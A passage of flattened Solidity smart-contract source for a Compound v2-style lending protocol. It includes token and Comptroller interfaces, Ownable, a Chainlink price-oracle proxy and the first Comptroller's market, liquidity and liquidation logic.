`src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; import "./CTokenInterfaces.sol"; import "./SafeMath.sol"; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Source: https://github.com/smartcontractkit/chainlink/blob/develop/evm-contracts/src/v0.6/interfaces/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CTokenInterface cToken) external view returns (uint256); } contract ChainlinkPriceOracleProxy is Ownable, PriceOracle { using SafeMath for uint256; /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; address public ethUsdChainlinkAggregatorAddress; struct TokenConfig { address chainlinkAggregatorAddress; uint256 chainlinkPriceBase; // 0: Invalid, 1: USD, 2: ETH uint256 underlyingTokenDecimals; } mapping(address => TokenConfig) public tokenConfig; constructor(address ethUsdChainlinkAggregatorAddress_) public { ethUsdChainlinkAggregatorAddress = ethUsdChainlinkAggregatorAddress_; } /** * @notice Get the underlying price of a cToken * @dev Implements the PriceOracle interface for Compound v2. * @param cToken The cToken address for price retrieval * @return Price denominated in USD, with 18 decimals, for the given cToken address. Comptroller needs prices in the format: ${raw price} * 1e(36 - baseUnit) */ function getUnderlyingPrice(CTokenInterface cToken) public view returns (uint256) { TokenConfig memory config = tokenConfig[address(cToken)]; (, int256 chainlinkPrice, , , ) = AggregatorV3Interface( config .chainlinkAggregatorAddress ) .latestRoundData(); require(chainlinkPrice > 0, "Chainlink price feed invalid"); uint256 underlyingPrice; if (config.chainlinkPriceBase == 1) { underlyingPrice = uint256(chainlinkPrice).mul(1e28).div( 10**config.underlyingTokenDecimals ); } else if (config.chainlinkPriceBase == 2) { (, int256 ethPriceInUsd, , , ) = AggregatorV3Interface( ethUsdChainlinkAggregatorAddress ) .latestRoundData(); require(ethPriceInUsd > 0, "ETH price invalid"); underlyingPrice = uint256(chainlinkPrice) .mul(uint256(ethPriceInUsd)) .mul(1e10) .div(10**config.underlyingTokenDecimals); } else { revert("Token config invalid"); } require(underlyingPrice > 0, "Underlying price invalid"); return underlyingPrice; } function setEthUsdChainlinkAggregatorAddress(address addr) external onlyOwner { ethUsdChainlinkAggregatorAddress = addr; } function setTokenConfigs( address[] calldata cTokenAddress, address[] calldata chainlinkAggregatorAddress, uint256[] calldata chainlinkPriceBase, uint256[] calldata underlyingTokenDecimals ) external onlyOwner { require( cTokenAddress.length == chainlinkAggregatorAddress.length && cTokenAddress.length == chainlinkPriceBase.length && cTokenAddress.length == underlyingTokenDecimals.length, "Arguments must have same length" ); for (uint256 i = 0; i < cTokenAddress.length; i++) { tokenConfig[cTokenAddress[i]] = TokenConfig({ chainlinkAggregatorAddress: chainlinkAggregatorAddress[i], chainlinkPriceBase: chainlinkPriceBase[i], underlyingTokenDecimals: underlyingTokenDecimals[i] }); emit TokenConfigUpdated( cTokenAddress[i], chainlinkAggregatorAddress[i], chainlinkPriceBase[i], underlyingTokenDecimals[i] ); } } event TokenConfigUpdated( address cTokenAddress, address chainlinkAggregatorAddress, uint256 chainlinkPriceBase, uint256 underlyingTokenDecimals ); } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; /** * @title Compound's Comptroller Contract * @author Compound * @dev This was the first version of the Comptroller brains. * We keep it so our tests can continue to do the real-life behavior of upgrading from this logic forward. */ contract ComptrollerG1 is ComptrollerV1Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { struct Market { /** * @notice Whether or not this market is listed */ bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /** * @notice Per-market mapping of "accounts in this asset" */ mapping(address => bool) accountMembership; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice Emitted when an admin supports a market */ event MarketListed(CToken cToken); /** * @notice Emitted when an account enters a market */ event MarketEntered(CToken cToken, address account); /** * @notice Emitted when an account exits a market */ event MarketExited(CToken cToken, address account); /** * @notice Emitted when close factor is changed by admin */ event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /** * @notice Emitted when a collateral factor is changed by admin */ event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /** * @notice Emitted when liquidation incentive is changed by admin */ event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /** * @notice Emitted when maxAssets is changed by admin */ event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /** * @notice Emitted when price oracle is changed */ event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); // closeFactorMantissa must be strictly greater than this value uint constant closeFactorMinMantissa = 5e16; // 0.05 // closeFactorMantissa must not exceed this value uint constant closeFactorMaxMantissa = 9e17; // 0.9 // No collateralFactorMantissa may exceed this value uint constant collateralFactorMaxMantissa = 9e17; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint constant liquidationIncentiveMinMantissa = mantissaOne; // liquidationIncentiveMantissa must be no greater than this value uint constant liquidationIncentiveMaxMantissa = 15e17; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // if market is not listed, cannot join move along results[i] = uint(Error.MARKET_NOT_LISTED); continue; } if (marketToJoin.accountMembership[msg.sender] == true) { // if already joined, move along results[i] = uint(Error.NO_ERROR); continue; } if (accountAssets[msg.sender].length >= maxAssets) { // if no space, cannot join, move along results[i] = uint(Error.TOO_MANY_ASSETS); continue; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[msg.sender] = true; accountAssets[msg.sender].push(cToken); emit MarketEntered(cToken, msg.sender); results[i] = uint(Error.NO_ERROR); } return results; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { minter; // currently unused mintAmount; // currently unused if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param mintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external { cToken; // currently unused minter; // currently unused mintAmount; // currently unused mintTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { cToken; // currently unused redeemer; // currently unused redeemAmount; // currently unused redeemTokens; // currently unused // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks if (!markets[cToken].accountMembership[borrower]) { return uint(Error.MARKET_NOT_ENTERED); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { cToken; // currently unused borrower; // currently unused borrowAmount; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { payer; // currently unused borrower; // currently unused repayAmount; // currently unused if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external { cToken; // currently unused payer; // currently unused borrower; // currently unused repayAmount; // currently unused borrowerIndex; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { liquidator; // currently unused borrower; // currently unused repayAmount; // currently unused if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external { cTokenBorrowed; // currently unused cTokenCollateral; // currently unused liquidator; // currently unused borrower; // currently unused repayAmount; // currently unused seizeTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; // currently unused borrower; // currently unused seizeTokens; // currently unused if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { cTokenCollateral; // currently unused cTokenBorrowed; // currently unused liquidator; // currently unused borrower; // currently unused seizeTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { cToken; // currently unused src; // currently unused dst; // currently unused transferTokens; // currently unused // *may include Policy Hook-type checks // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { cToken; // currently unused src; // currently unused dst; // currently unused transferTokens; // currently unused if (false) { maxAssets = maxAssets; // not pure } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToEther; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToEther) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToEther * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToEther, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToEther * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToEther, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param repayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = repayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = repayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, repayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Ensure invoke newOracle.isPriceOracle() returns true // require(newOracle.isPriceOracle(), "oracle method isPriceOracle returned false"); // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint256) { // Check caller is admin OR currently initialzing as new unitroller implementation if (!adminOrInitializing()) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = 